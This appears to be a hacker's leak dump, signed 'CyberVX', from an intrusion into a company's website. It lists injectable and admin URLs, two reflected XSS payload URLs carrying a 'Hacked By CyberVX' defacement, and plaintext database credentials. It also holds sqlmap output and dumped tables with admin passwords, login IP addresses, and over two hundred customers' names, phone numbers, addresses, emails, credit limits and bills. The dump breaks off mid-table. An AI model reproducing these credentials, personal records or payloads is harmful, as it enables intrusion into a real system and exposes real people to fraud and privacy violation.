Auditor: CyberVX - OS: # KALI LINUX; # WHONIX - TOOLS: # NMAP; # SQLMAP; - VULNERABILITY: # Cross Site Scripting (DOM Based) # Cross Site Scripting (Reflected) # SQL Injection # Directory Browsing # X-Frame-Options Header Not Set # Absence of Anti-CSRF Tokens # Cross-Domain JavaScript Source File Inclusion # Incomplete or No Cache-control and Pragma HTTP Header # Secure Pages Include Mixed Content # Server ***** Information via "X-Powered-By" HTTP Response Header Field(s) # X-Content-Type-Options Header Missing # Information Disclosure - Suspicious Comments Informational # Timestamp Disclosure - Unix Informational - TARGET: # https://www.csquareglobal.com/ - Links * Injection: https://www.csquareglobal.com/view_product.php?id=11 * ADMIN: https://www.csquareglobal.com/backup/admin/menu.php * CPANEL: https://www.csquareglobal.com:2083/ ======================== REPORT 1 ======================== * csquareglobal.com: 198.1.95.164 --------------------------------------------------------------------------------------------- Domain Name: CSQUAREGLOBAL.COM Registry Domain ID: 1738512864_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.godaddy.com Registrar URL: http://www.godaddy.com Updated Date: 2021-08-13T07:16:53Z Creation Date: 2012-08-12T12:54:01Z Registry Expiry Date: 2022-08-12T12:54:01Z Registrar: GoDaddy.com, LLC Registrar IANA ID: 146 Registrar Abuse Contact Email: abuse@godaddy.com Registrar Abuse Contact Phone: 480-624-2505 Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited Name Server: NS75.DOMAINCONTROL.COM Name Server: NS76.DOMAINCONTROL.COM DNSSEC: unsigned --------------------------------------------------------------------------------------------- # URL https://www.csquareglobal.com/mailman/confirm https://www.csquareglobal.com/mailman/private https://www.csquareglobal.com/mailman/listinfo https://www.csquareglobal.com/mailman/subscribe https://tempo.csquareglobal.com/cigbin/ https://www.csquareglobal.com/new/ https://ftp.csquareglobal.com/ https://www.csquareglobal.com/backup/plugins/ https://www.csquareglobal.com/backup/admin/ViewCustomers.php # SubDomain: mail.csquareglobal.com check.csquareglobal.com files.csquareglobal.com calendar.csquareglobal.com tempo.csquareglobal.com ======================== REPORT 2 ======================== # XSS https://www.csquareglobal.com/all_product.php?id=8&product_name=%3C%2Fdiv%3E%3C/select%3E%3Cbody%20onload=alert(%22Hacked_By_CyberVX%22)%3E%3Cdiv%3E&ptype=Export https://www.csquareglobal.com/all_product.php?id=8&product_name=%3CMETA%20http-equiv=%22CyberVX%22%20content=%221%22%20style=%22color:green%22%3E%20%3Cmarquee%3E%20%3Ch1%3E%20%3Cp%20style=%22color:blue%22%3E%20Hacked%20By%20CyberVX%20%3C/p%3E%20%3C/marquee%3E ======================== REPORT 3 ======================== **************************** $host="localhost"; $user="checkcsq_tempo"; $password="6llMClH%Ocqn"; $database="checkcsq_tempo"; ***************************** ********************************************************** the back-end DBMS is MySQL web application technology: PHP 5.5.38, Apache back-end DBMS: MySQL unknown banner: '5.6.51' current user: 'csquareg_global@localhost' current database: 'csquareg_csglobal' current user is DBA: False database management system users [1]: [*] 'csquareg_global'@'localhost' fetching database names retrieved: 'information_schema' retrieved: 'csquareg_csglobal' available databases [2]: [*] csquareg_csglobal [*] information_schema ********************************************************** ======================== REPORT 5 ======================== Database: csquareg_csglobal Table: user [2 entries] +------------------+----------------------------------+----+ | user_name | secret | tp | +------------------+----------------------------------+----+ | admin | csq@753 | | | byroot@gmail.com | 81992f4b09670fb6d6a5a1294f56db5a | | +------------------+----------------------------------+----+ Database: information_schema Table: USER_PRIVILEGES [1 entry] +-------------------------------+--------------+---------------+----------------+ | GRANTEE | IS_GRANTABLE | TABLE_CATALOG | PRIVILEGE_TYPE | +-------------------------------+--------------+---------------+----------------+ | 'csquareg_global'@'localhost' | NO | def | USAGE | +-------------------------------+--------------+---------------+----------------+ Database: csquareg_csglobal Table: nista_master_privilege [31 entries] +---------+-----------+--------+----------+ | user_id | screen_id | view | username | +---------+-----------+--------+----------+ | 19 | 100 | Y | krish | | 19 | 110 | Y | krish | | 19 | 120 | Y | krish | | 19 | 130 | Y | krish | | 19 | 140 | Y | krish | | 19 | 150 | Y | krish | | 19 | 160 | Y | krish | | 19 | 170 | Y | krish | | 19 | 180 | Y | krish | | 19 | 190 | Y | krish | | 34 | 100 | Y | admin | | 34 | 110 | Y | admin | | 34 | 120 | Y | admin | | 34 | 130 | Y | admin | | 34 | 140 | Y | admin | | 34 | 150 | Y | admin | | 34 | 160 | Y | admin | | 34 | 170 | Y | admin | | 34 | 180 | Y | admin | | 34 | 190 | Y | admin | | 35 | 100 | Y | krishan | | 35 | 110 | Y | krishan | | 35 | 120 | Y | krishan | | 35 | 130 | Y | krishan | | 35 | 140 | Y | krishan | | 35 | 150 | Y | krishan | | 35 | 160 | Y | krishan | | 35 | 170 | Y | krishan | | 35 | 180 | Y | krishan | | 35 | 190 | Y | krishan | | 34 | 191 | Y | admin | +---------+-----------+--------+----------+ Database: csquareg_csglobal Table: user_login_details [93 entries] +-------------------------+-----------------+ | login_user_name | login_ip | +-------------------------+-----------------+ | admin@rexton.lk | ::1 | | admin@rexton.lk | ::1 | | admin@rexton.lk | ::1 | | admin@rexton.lk | ::1 | | admin@rexton.lk | ::1 | | admin@rexton.lk | ::1 | | admin@rexton.lk | ::1 | | admin@rexton.lk | ::1 | | admin@csquareglobal.com | 112.134.64.35 | | admin@csquareglobal.com | 112.134.64.35 | | admin@csquareglobal.com | 112.134.64.42 | | admin@csquareglobal.com | 112.134.64.42 | | admin@csquareglobal.com | 112.134.64.42 | | admin@csquareglobal.com | 123.231.127.89 | | admin@csquareglobal.com | 123.231.127.89 | | admin@csquareglobal.com | 123.231.127.89 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.127.39 | | admin@csquareglobal.com | 123.231.126.78 | | admin@csquareglobal.com | 123.231.126.78 | | admin@csquareglobal.com | 123.231.127.111 | | admin@csquareglobal.com | 123.231.127.111 | | admin@csquareglobal.com | 123.231.127.111 | | admin@csquareglobal.com | 123.231.122.25 | | admin@csquareglobal.com | 112.134.65.149 | | admin@csquareglobal.com | 112.134.65.149 | | admin@csquareglobal.com | 123.231.123.251 | | admin@csquareglobal.com | 123.231.123.251 | | admin@csquareglobal.com | 123.231.123.251 | | admin@csquareglobal.com | 123.231.123.251 | | admin@csquareglobal.com | 123.231.123.251 | | admin@csquareglobal.com | 112.134.64.242 | | admin@csquareglobal.com | 112.134.96.237 | | admin@csquareglobal.com | 123.231.123.124 | | admin@csquareglobal.com | 112.134.96.121 | | admin@csquareglobal.com | 123.231.109.21 | | admin@csquareglobal.com | 123.231.126.228 | | admin@csquareglobal.com | 123.231.106.96 | | admin@csquareglobal.com | 123.231.122.8 | | admin@csquareglobal.com | 123.231.105.81 | | admin@csquareglobal.com | 123.231.105.81 | | Admin@csquareglobal.com | 123.231.105.81 | | Admin@csquareglobal.com | 123.231.105.81 | | admin@csquareglobal.com | 123.231.124.164 | | admin@csquareglobal.com | 175.157.90.238 | | admin@csquareglobal.com | 123.231.108.35 | | admin@csquareglobal.com | 123.231.107.109 | | admin@csquareglobal.com | 111.223.131.253 | | admin@csquareglobal.com | 111.223.131.253 | | admin@csquareglobal.com | 111.223.131.253 | | admin@csquareglobal.com | 111.223.131.253 | | admin@csquareglobal.com | 111.223.131.253 | | admin@csquareglobal.com | 61.245.161.239 | | admin@csquareglobal.com | 182.161.9.218 | | admin@csquareglobal.com | 182.161.9.218 | | admin@csquareglobal.com | 111.223.142.86 | | admin@csquareglobal.com | 111.223.142.86 | | admin@csquareglobal.com | 43.250.242.69 | | admin@csquareglobal.com | 111.223.142.114 | | admin@csquareglobal.com | 182.161.18.98 | | admin@csquareglobal.com | 182.161.18.98 | | admin@csquareglobal.com | 182.161.18.98 | | admin@csquareglobal.com | 111.223.157.147 | | admin@csquareglobal.com | 111.223.154.21 | | admin@csquareglobal.com | 111.223.131.48 | | admin@csquareglobal.com | 182.161.27.105 | | admin@csquareglobal.com | 111.223.147.92 | | admin@csquareglobal.com | 111.223.147.92 | | admin@csquareglobal.com | 111.223.147.92 | | admin@csquareglobal.com | 182.161.8.148 | | admin@csquareglobal.com | 5.62.34.152 | | admin | 123.231.84.123 | | admin | 112.134.44.101 | | admin | 112.134.44.101 | | admin | 112.134.47.162 | | admin | 112.134.47.182 | | admin | 112.134.45.139 | | admin | 198.1.95.164 | | admin | 198.1.95.164 | | admin | 198.1.95.164 | +-------------------------+-----------------+ Database: csquareg_csglobal Table: customer [215 entries] +-----+------------+-------+------------------------------------+-------------------------------+------------------------+ | id | conNo | cusDb | address | cusName | conPerson | +-----+------------+-------+------------------------------------+-------------------------------+------------------------+ | 1 | 0774832043 | 1 | Biyagama | Ajantha | | | 2 | 0778886282 | 1 | Boralesgamuwa | Alanka Flora | Mr.Udara | | 3 | 0777199818 | 1 | Minuwangoda | Amila | | | 4 | 0775407714 | 1 | karawanella | Aruna | | | 5 | 0772438525 | 1 | Hanwella | Asanka | | | 6 | 0777107343 | 1 | Rajagiriya | Aura Light | Mr.Buddhika | | 7 | 0727303107 | 1 | Biyagama | Buddika | | | 8 | 0777895967 | 1 | Maharagama | Chaminda | | | 10 | 0712730632 | 1 | Homagama | Cine Media | Mr.Dharshana | | 12 | 0779942477 | 1 | Maharagama | Honney Entertaitment | Mr.Kamila | | 18 | 0773062917 | 1 | Battaramulla | Orinta Entertaitment | Mr.Kushan | | 19 | 0714711133 | 1 | Kelaniya | Light Efect Pro | Mr.Chanaka | | 21 | 0776608852 | 1 | Ratnapura | Minipura Sound | Mr.Palitha | | 23 | 0726446441 | 1 | Hali Ela | New City Electrical | Mr.Thanan | | 27 | 0772394444 | 1 | Mahabage | Rajesh | | | 29 | 0777793624 | 1 | Dehiowita | Ruwan Electrical | Mr.Ruwan | | 38 | 0714228329 | 1 | Matara | Sarasi Flora | Mr.Chamila | | 43 | 0777697991 | 1 | Biyagama | Edirisinghe Electrical | Mr.Chaminda | | 46 | 0773923769 | 2 | Koggala | Aitken Spence | Ms.Thanushika | | 47 | 0777815389 | 2 | Mahara | D S I Tyre | Mr.Gamini | | 48 | 0770104063 | 2 | Kuliyapitiya | F G M Lanka | Mr.Pramil | | 49 | 0772572858 | 2 | Biyagama | Global Baggage | Ms.Konara | | 50 | 0777410901 | 2 | Colombo 03 | Holcim | Mr.Manjula | | 51 | 0771062202 | 2 | Nugegoda | Jayavi Holding | Ms.Hansika | | 52 | 0710589331 | 2 | Panchikawatta | Lukshman Motors | Mr.Samantha | | 53 | 0772981364 | 2 | Ranala | Mahesh | Mr.Mahesh | | 54 | 0771077681 | 2 | Biyagama | North Sales | Mr.Dinesh | | 55 | 0773911304 | 2 | Ranala | Ospray | Mr.Tharanga | | 56 | 0773640834 | 2 | Katunayaka | Palla & Company | Mr.Dulan | | 57 | 0773501448 | 2 | Avissawella | Quinbi | Mr.Janaka | | 58 | 0776058025 | 2 | Biyagama | Saman *** | Mr.Saman | | 59 | 0777283144 | 2 | Borella | Timex | Ms.Dulini | | 60 | 0777634437 | 2 | Pelawatta | Valampuri | Mr.Kumar | | 61 | 0773745029 | 2 | Biyagama | Wheel Works | Mr.Kapila | | 62 | 0779468279 | 2 | Biyagama | Workwear | Mr.Sagara | | 63 | 0777421782 | 1 | Csquare | Kumara | Kumara | | 64 | 0777421782 | 2 | | Kumara | Kumara | | 65 | 0777224567 | 1 | No. 479, Bullers road , Colombo 08 | Chamara | chamara | | 66 | 0714159232 | 2 | 479 | CSqaure Holdings | Susith | | 67 | 0779122169 | 1 | Kandy | Punkalasa Creation | Mr.Jayanth Chathuranga | | 68 | 0777863434 | 1 | Kandy | Jude | Jude | | 69 | 0777258026 | 1 | Kandy | Jude | Jude | | 70 | 0716666003 | 1 | Kandy | Technology Music Band & Sound | kapila Ilukkumbura | | 71 | 0777803271 | 1 | Kandy | Event Managements | Warusakoon | | 72 | 0772519987 | 1 | Moratuwa | DJ Ash | Fernando | | 73 | 0772240106 | 1 | Moratuwa | DJ Michael | Michael | | 74 | 0714288584 | 1 | Kadawatha | Cool Groove | Keshan | | 75 | 0722249096 | 1 | Nugegoda | Gurzon Entertaitments | Udayanga Wijayasekara | | 76 | 0773318013 | 1 | Moratuwa | Flash Entertaitments | Suraj Silva | | 77 | 0718616824 | 1 | Piliyandala | Mass Entertaitments | Anushka Indunil | | 78 | 0777798876 | 1 | Colombo | Nilam Deen Electrical | Nelam | | 79 | 0772388577 | 1 | Rathmalana | Section 4 Entertaitments | Kishan Dissanayaka | | 80 | 0777363416 | 1 | Dehiwala | Sohan & The X Periment | Sohan | | 81 | 0773449502 | 1 | Piliyandala | Live barel | Lokuliyanage | | 82 | 0712766819 | 1 | Panadura | Mala & Brave Live Band | Mala | | 83 | 0777611037 | 1 | Rathmalana | Nalin & The Star | Nalin Fernando | | 84 | 0777739000 | 1 | Angulana | Saman & The Clan | Saman de Silva | | 85 | 0777387517 | 1 | Piliyandala | Super Star | Shan | | 86 | 0777762520 | 1 | Ragama | Cosmic Rays | Tyronne | | 87 | 0714710267 | 1 | Battaramull | Extreame Live Band | Kosala Kalubowila | | 88 | 0777518449 | 1 | Nigambo | Galaxies | Roy Fernando | | 89 | 0777719456 | 1 | Rathmalana | Worla music Entertaitments | Niranjan Wanigasooriya | | 90 | 0723220455 | 1 | Imaduwa | Jaliya | Jaliya | | 91 | 0752074454 | 1 | Galle | Shalitha | Shalitha | | 92 | 0779657381 | 1 | Boossa | Sugath | Sugath | | 93 | 0773628013 | 1 | Hikkaduwa | Shan | Shan | | 94 | 0724467622 | 1 | Uragasmanhandiya | Janaka | Janaka | | 95 | 0773561567 | 1 | Nugegoda | Gallezone Solution | Nuwan Chinthana | | 96 | 0773917927 | 1 | Nugegoda | Hiran Chandrasena | Hiran Chandrasena | | 97 | 0773003289 | 1 | Nugegoda | Nadun Thameera | Nadun Thameera | | 98 | 0772261077 | 1 | Nugegoda | Suneth Lanka | Suneth Lanka | | 99 | 0758366660 | 1 | matara | Janaka | Janaka | | 100 | 0754438134 | 1 | Panadura | Supun Chamara | Supun Chamara | | 101 | 0777320300 | 1 | Maharagama | DJ Max | DJ Max | | 102 | 0774282628 | 1 | Boralesgamuwa | D Max Entertaitments | D Max Entertaitments | | 103 | 0775861616 | 1 | Boralesgamuwa | Tharindu | Tharindu | | 104 | 0716356849 | 1 | Boralesgamuwa | Vinitha | Vinitha | | 105 | 0713284271 | 1 | Algama | Supumal | Supumal | | 106 | 0750368568 | 1 | Battaramull | DJ Tlectro | DJ Tlectro | | 107 | 0776507253 | 1 | Dambulla | DJ Travels | DJ Travels | | 108 | 0756711753 | 1 | Kandy | Centi DJ | Centi DJ | | 109 | 0773411909 | 1 | Thalahena | The DJ Sean | The DJ Sean | | 110 | 0777194999 | 1 | Peradeniya | Namal Soumd | Namal | | 111 | 0777530557 | 1 | Boralesgamuwa | Shiyam | Shiyam | | 112 | 0777234815 | 1 | Colombo | Dilruk | Dilruk | | 113 | 0714773194 | 1 | Colombo | DJ Dilee | DJ Dilee | | 114 | 0774949433 | 1 | kotte | DJ Maki | DJ Maki | | 115 | 0777710262 | 1 | Colombo | DJ Mssy Flame | DJ Mssy Flame | | 116 | 0777974172 | 1 | Maharagama | Minol D | Minol D | | 117 | 0777519447 | 1 | Colombo | Rizni Rize | Rizni Rize | | 118 | 0776969054 | 1 | Kandy | Kandy DJ | Kandy DJ | | 119 | 0777804030 | 1 | Kandy | Nightthingles Music | Sisira Warnasooriya | | 120 | 0773646833 | 1 | Kandy | Sandoliya Creation | Chamara Bandara | | 121 | 0774411769 | 1 | Gampola | MI Creation | Indika | | 122 | 0714214568 | 1 | Matale | Siridara Weding Center | Sanjana Kumarathunga | | 123 | 0714841299 | 1 | Borella | Nishani | Nishani | | 124 | 0771395147 | 2 | iii | Chandima | Chandima | | 125 | 0773710829 | 2 | malabe | lakmali | lakmali | | 126 | 0778410102 | 1 | Akuressa | Luxman | Luxman | | 127 | 0714771285 | 1 | Matara | Lahiru | Lahiru | | 128 | 0715604590 | 1 | Sulthanagoda | Hasitha | Hasitha | | 129 | 0715362723 | 1 | Yatiyana | Janaka | Janaka | | 130 | 0777636184 | 1 | Nuwara Eliya | Lasanth | Lasanth | | 131 | 0722998855 | 1 | Nuwara Eliya | Chanaka | Chanaka | | 132 | 0779717852 | 1 | Chilaw | Nilushan | Nilushan | | 133 | 0774813327 | 1 | Madampe | Isuru | Isuru | | 134 | 0776097439 | 1 | Madampe | Manju | Manju | | 135 | 0774770849 | 1 | Emblipitiya | Dhanuka | Dhanuka | | 136 | 0771482243 | 1 | Emblipitiya | Waruna | Waruna | | 137 | 0789582584 | 1 | Kelaniya | Sanji | Sanji | | 138 | 0777772837 | 1 | Kirillawala | Malintha | Malintha | | 139 | 0772743155 | 1 | Wattala | Roshan | Roshan | | 140 | 0716274244 | 1 | Gampaha | Gayan Sampath | Gayan Sampath | | 141 | 0776574957 | 1 | Gampaha | Amila | Amila | | 142 | 0711350935 | 1 | Kadana | Pasan | Pasan | | 143 | 0777888829 | 1 | Yakkala | Rusira | Rusira | | 144 | 0784532973 | 1 | Dekatana | Dinush | Dinush | | 145 | 0772540989 | 1 | Kadana | Samm | Samm | | 146 | 0712755618 | 1 | Wattala | Chamara Kasun | Chamara Kasun | | 147 | 0773896570 | 1 | Nogombo | Temil | Temil | | 148 | 0773814627 | 1 | Delgoda | Sala | Sala | | 149 | 0779197107 | 1 | Nittambuwa | Sajee | Sajee | | 150 | 0773234449 | 1 | Ingiriya | Kapila | Kapila | | 151 | 0773873683 | 1 | Kaluthara | Kolitha | Kolitha | | 152 | 0723711382 | 1 | Horana | Harshana | Harshana | | 153 | 0712900099 | 1 | Mathugama | Music 69 | Music 69 | | 154 | 0771682026 | 1 | Wadduwa | Ramesh | Ramesh | | 155 | 0773061737 | 1 | Boraluwewa | Gaya | Gaya | | 156 | 0727738797 | 1 | Polpithigama | Mahesh | Mahesh | | 157 | 0755833575 | 1 | Katupotha | Ruwan | Ruwan | | 158 | 0716506105 | 1 | Kurunegala | Miracle | Miracle | | 159 | 0710889080 | 1 | Melsiripura | Lahiru | Lahiru | | 160 | 0725918424 | 1 | Kelaniya | Chathu | Chathu | | 161 | 0719674010 | 1 | Giriulla | Nandana | Nandana | | 162 | 0718659769 | 1 | Maspotha | Harshana | Harshana | | 163 | 0772910710 | 1 | Kuliyapitiya | Milanthilake | Milanthilake | | 164 | 0771616369 | 1 | Dikwella | DJ Right | DJ Right | | 165 | 0773417402 | 1 | Polhena | Chathura | Chathura | | 166 | 0776530933 | 1 | Kaduwela | Jayanga | Jayanga | | 167 | 0711020346 | 1 | Nugegoda | Lahiru | Lahiru | | 168 | 0773800854 | 1 | Nawala | Priyan | Priyan | | 169 | 0728109629 | 1 | Battaramulla | Yasintha Jayathilake | Yasintha Jayathilake | | 170 | 0774399106 | 1 | Malabe | Hasitha | Hasitha | | 171 | 0717080821 | 1 | Kelaniya | Harsha Fernando | Harsha Fernando | | 172 | 0717880920 | 1 | Homagama | Ranjan | Ranjan | | 173 | 0716858333 | 1 | Wellampitiya | Suboda Ranaweera | Suboda Ranaweera | | 174 | 0713225688 | 1 | Malabe | Harsha | Harsha | | 175 | 0755118559 | 1 | Rathmalana | No | No | | 176 | 0777322815 | 1 | Dehiwala | Wijendra | Wijendra | | 177 | 0716527376 | 1 | Dehiwala | Chamitha Cooray | Chamitha Cooray | | 178 | 0777780590 | 1 | Nugegoda | Sarath | Sarath | | 179 | 0714352222 | 1 | Battaramulla | Dushantha | Dushantha | | 180 | 0779119591 | 1 | Colombo 10 | Dilshan Silva | Dilshan Silva | | 181 | 0717341855 | 1 | Battaramulla | Malindu | Malindu | | 182 | 0714357973 | 1 | Moratuwa | Chathuranga | Chathuranga | | 183 | 0725616160 | 1 | Piliyandala | Nuwan Abesekara | Nuwan Abesekara | | 184 | 0776593339 | 1 | Rathmalana | Asanka | Asanka | | 185 | 0779477744 | 1 | Pannipitiya | chamara wijesekara | chamara wijesekara | | 186 | 0777539730 | 1 | Colombo 01 | E-entertaitments | E-entertaitments | | 187 | 0729729000 | 1 | Moratuwa | Kumar | Kumar | | 188 | 0777574394 | 1 | Moratuwa | Shilanka Perera | Shilanka Perera | | 189 | 0718100280 | 1 | Maharagama | Amila | Amila | | 190 | 0714898698 | 1 | Nugegoda | Sadun Perera | Sadun Perera | | 191 | 0779477744 | 1 | Pannipitiya | Chama | Chama | | 192 | 0772428664 | 1 | Kotikawatta | Pathum Jayaneth | Pathum Jayaneth | | 193 | 0778258420 | 1 | Nugegoda | Supun Sethsara | Supun Sethsara | | 194 | 0774282628 | 1 | Bellanwila | Heshan | Heshan | | 195 | 0714868868 | 1 | Dehiwala | Nadie perera | Nadie perera | | 196 | 0712300447 | 1 | Rajagiriya | Thilanga | Thilanga | | 197 | 0770652560 | 1 | Rajagiriya | Devinda | Devinda | | 198 | 0777748673 | 1 | Kohuwala | Bonnie | Bonnie | | 199 | 0774792400 | 1 | Maharagama | Nuwan | Nuwan | | 200 | 0721600587 | 1 | Avissawella | Pradeep | Pradeep | | 201 | 0717880920 | 1 | Maharagama | Kumara | Kumara | | 202 | 0776009528 | 1 | Colombo 11 | Kapila | Kapila | | 203 | 0777783055 | 1 | Boralesgamuwa | Chamal | Chamal | | 204 | 0755556776 | 1 | Kandy | Neon music | Neon music | | 205 | 0773558788 | 1 | Kandy | Adhesha | Adhesha | | 206 | 0775443460 | 1 | Kiribathkubura | Amila Wijesooriya | Amila Wijesooriya | | 207 | 0758342515 | 1 | Theldeniya | Chanaka | Chanaka | | 208 | 0723225990 | 1 | Doluwa | Priyanka | Priyanka | | 209 | 0729700900 | 1 | Anuradhapura | Sagara | Sagara | | 210 | 0710595548 | 1 | Anuradhapura | Shiping Boy | Shiping Boy | | 211 | 0775775785 | 1 | Anuradhapura | Rashmika | Rashmika | | 212 | 0750475513 | 1 | Negombo | Chaminda | Chaminda | | 213 | 0722972784 | 1 | Katunayake | Perera | Perera | | 214 | 0772277773 | 1 | Wattala | Azmeer | Azmeer | | 215 | 0773085885 | 1 | Kirindiwela | Ranura | Ranura | | 216 | 0773413538 | 1 | Kelaniya | Rayan | Rayan | | 217 | 077543460 | 1 | Weyangoda | Sameera wijeyakoon | Sameera wijeyakoon | | 218 | 0773457160 | 1 | kadawatha | Sudath | Sudath | | 219 | 0776053873 | 1 | Miriswatta | Nadeesh | Nadeesh | | 220 | 0773699500 | 1 | kadawatha | Dissanayake | Dissanayake | | 221 | 0779066444 | 1 | Negombo | Dharshana | Dharshana | | 222 | 0718028048 | 1 | Kolonna | Sisira | Sisira | | 223 | 0714159232 | 2 | | Susith | | | 224 | 0777581870 | 1 | test | kanchana | | | 225 | 0713788755 | 2 | - | dimuthu | dimuthu | | 226 | 0757223707 | 1 | Borella | Borella | Borella | | 227 | 0772071815 | 1 | Kollupitiya | Sadun | Sadun | | 228 | 0777476144 | 1 | Petta | M L M Electrical | Ramzan | | 229 | 0777985589 | 1 | Seeduwa | Masha Live Band | Dinesh | | 230 | 0788544112 | 1 | Karawanella | Jagath | Jagath | | 231 | 0713284200 | 1 | Karawanell | Chaminda | Chaminda | | 232 | 0777334389 | 1 | N/A | N/A | N/A | | 233 | 0714538300 | 1 | | chamara mobitel | chamara | | 234 | 0716401429 | 1 | tets | kanchana l | kanchana | | 235 | 0712079567 | 1 | colombo | kanchana mob | kanchana | | 236 | 0759999571 | 1 | colombo | krishan | krishan | | 237 | 0784967076 | 2 | dgdfg | amila | ami | | 238 | 0784967076 | 1 | office | amila | | | 239 | 0777609402 | 1 | | 0777609402 | | | 240 | 0758306028 | 1 | | krishan dng | | | 241 | 0774281499 | 1 | Kotte | Kotte | Kotte | | 242 | 0775627967 | 1 | Biyagama | Manahara Flora | Mr.Malith | +-----+------------+-------+------------------------------------+-------------------------------+------------------------+ +----------------------------------+---------------------------+-------------+-------------+-------------------------------------------------------------------------------+ | name | email | creditlimit | tpnumber | address | +----------------------------------+---------------------------+-------------+-------------+-------------------------------------------------------------------------------+ | test | ~NO~ | 10000 | ~NO~ | test | | Lihini Lights Hanwella | - | 0 | 0114550880 | No.303/2\r\nAvissawella Road\r\nHanwella | | Honey Entertaintment | djhoney32@yahoo.com | 200000 | 0779942477 | 155/19\r\nWattegedara Road\r\nMaharagama | | J M Distributores | janakacath@gmail.com | 0 | 0718205809 | 242A\r\nAnnasikotuwa\r\nAlubomulla\r\nPanadura | | Light Effect Pro Entertaitment | chanaka1988.cd@gmail.com | 0 | 0714711133 | 155/2B\r\nPamunuwila\r\nGonawala | | Mr.Amila Ruwan | ~NO~ | 0 | 0777634809 | Eheliyagoda Road\r\nDehiowita | | DNG ACCESSORIES LANKA (PVT) LTD | sales@dnglanka.com | 0 | 0115266999 | No.479\r\nBullers Road\r\nColombo 08. | | Mr.Lakmal | 0 | 50000 | 0755005182 | Piliyandala | | Kumara | kumaraa@csquareglobal.com | 50000 | 0773551138 | Deraniyagala | | I Net Communication | ~NO~ | 60000 | 0777571639 | No.37,\r\nMadiwela Road\r\nUdahamulla,Nugegoda | | Mefocity | ~NO~ | 50000 | 0788159716 | Malwatta Road\r\nColombo 11 | | SARASI FLORA | ~NO~ | 150000 | 0714228329 | Mathara | | Diolog TV | ~NO~ | 10000 | 0777338150 | 27/21,Parakumba Place,\r\nWellawatte\r\nColombo 06. | | Ruwan Electrical | ~NO~ | 50000 | ~NO~ | Yatiyanthota Road\r\nDehiowita | | Cellone | ~NO~ | 50000 | ~NO~ | Liberty Plaza\r\nColombo 03 | | DCK Power | ~NO~ | 50000 | 0770665280 | Kirindiwela | | Edirisinghe Electrical and Sound | ~NO~ | 100000 | 0777697991 | Kanduboda Road\nDelgoda | | New City Elecrtical | ~NO~ | 50000 | 0776605299 | No.90\r\nBadulla Road\r\nHaliela | | Orient International | ~NO~ | 50000 | 0773716809 | Kandy Road\r\nKiribathgoda | | Ms.Amandhi | 0 | 5000 | 0773412495 | Trend Setters\r\nPanadura | | VALAMPURI TEXTILE (PVT) LTD | 0 | 50000 | 01122384333 | No.410,\r\nNew Prliment Road,\r\nPllawatta,\r\nBaththaramull | | AURA EVENT SOLUTIONS (PVT) LTD | buddhika.aura@gmail.com | 150000 | 0112886960 | No.232,\r\nKotuwegoda\r\nGemunu Mawatha\r\nRajagiriya | | CINE MEDIA STUDIO | 0 | 50000 | 0722176208 | No.65\r\nHigh Level Road\r\nHomagama | | Mr.Pradeep | 0 | 160000 | 0773906081 | Anuradapura | | LAKSHMAN MOTOR HOUSE | ~NO~ | 50000 | 0710589331 | Colombo | | Liyanage Hotel | ~NO~ | 10000 | 0727 998651 | Dehiowita Road\r\nDeraniyagala | | Zone Motors | ~NO~ | 5000 | ~NO~ | Waduwagama Road\r\nYatihena\r\nMalwana. | | THE WHEEL WORKS (PVT) LTD | ~NO~ | 50000 | 0112465096 | No.68\r\nB.E.P.Z,\r\nBiyagama | | A.I.Somarathne | ~NO~ | 10000 | 0724903456 | 456/1\r\nBandarawela Road\r\nManiyangama,\r\nAvissawella | | SILVER GLASS | ~NO~ | 10000 | 0755019980 | Galpotta Junction\r\nMakola\r\nKiribathgoda. | | Sarathchandra Perera | ~NO~ | 100000 | 0716387906 | 599/2,\r\nSinharamulla,\r\nKelaniya. | | Senavirathne Carters | ~NO~ | 20000 | 0727303107 | Malwana Road\r\nBiyagama | | M.L.M Electricals | ~NO~ | 50000 | 0777476144 | 66/2,Crystal Place,\r\n1st Cross Street,\r\nColombo 11. | | Manahara Flora | ~NO~ | 200000 | 0115234782 | 666/4,\r\nYatihena\r\nMalwana | | Orinta Sound And Entertaitments | kushank1982@yahoo.com | 100000 | 0777776248 | No.130/E4,\r\n02nd Lane,\r\nNugagahalanda Road,\r\nKalalgoda,\r\nPannipitiya. | +----------------------------------+---------------------------+-------------+-------------+-------------------------------------------------------------------------------+ Database: csquareg_csglobal Table: nista_bill_summary [71 entries] +----------------------------------+---------+-----------+---------+---------+ | customer | logUser | amount | paytype | status | +----------------------------------+---------+-----------+---------+---------+ | J M Distributores | admin | 25800.00 | Cash | ok | | Light Effect Pro Entertaitment | admin | 22500.00 | Cash | ok | | Light Effect Pro Entertaitment | admin | 22500.00 | Cash | ok | | Mr.Amila Ruwan | admin | 9890.00 | Cash | ok | | DNG ACCESSORIES LANKA (PVT) LTD | admin | 27900.00 | Cash | ok | | Mr.Lakmal | admin | 12900.00 | Credit | pending | | Honey Entertaintment | admin | 156000.00 | Credit | ok | | Kumara | admin | 27450.00 | Credit | ok | | Kumara | admin | 2890.00 | Credit | ok | | I Net Communication | admin | 10000.00 | Credit | pending | | I Net Communication | admin | 7500.00 | Credit | pending | | Mefocity | admin | 19500.00 | Credit | ok | | Mefocity | admin | 16500.00 | Credit | ok | | SARASI FLORA | admin | 107500.00 | Credit | ok | | SARASI FLORA | admin | 0 | Credit | ok | | Lihini Lights Hanwella | admin | 214000.00 | Credit | pending | | Light Effect Pro Entertaitment | admin | 66000.00 | Credit | ok | | Diolog TV | admin | 2250.00 | Credit | ok | | Ruwan Electrical | admin | 